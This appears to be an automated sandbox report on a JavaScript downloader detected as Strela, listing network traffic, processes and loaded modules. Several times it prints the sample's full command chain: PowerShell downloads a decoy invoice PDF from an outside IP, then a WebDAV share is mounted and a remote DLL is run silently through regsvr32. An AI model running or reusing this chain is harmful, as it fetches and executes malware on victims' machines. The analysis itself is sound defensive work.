57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49701

Source: global traffic

TCP traffic: 192.168.2.7:49701 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49699 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000002.00000002.1289987383.00000218C3F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000A.00000002.1362772386.000001FB5F531000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000A.00000003.1361399397.000001FB5F515000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000A.00000002.1362270708.000001FB5F515000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000A.00000003.1360120667.000001FB5F530000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000A.00000002.1362270708.000001FB5F4D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000A.00000003.1361399397.000001FB5F515000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000A.00000002.1362270708.000001FB5F515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/)
Source: net.exe, 0000000A.00000002.1362270708.000001FB5F4D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/6hVK
Source: svchost.exe, 0000000C.00000002.2586626475.000001FE96AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.11.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.12.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.11.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.12.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000C.00000003.1361387450.000001FE9C010000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.12.dr, edb.log.12.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.12.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.8.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1496, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2608440261187823817.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5060:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rjzctaah.pmp.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2608440261187823817.js

Virustotal: Detection: 11%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2608440261187823817.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1616,i,3447419022261847534,11852108957560881175,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1616,i,3447419022261847534,11852108957560881175,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
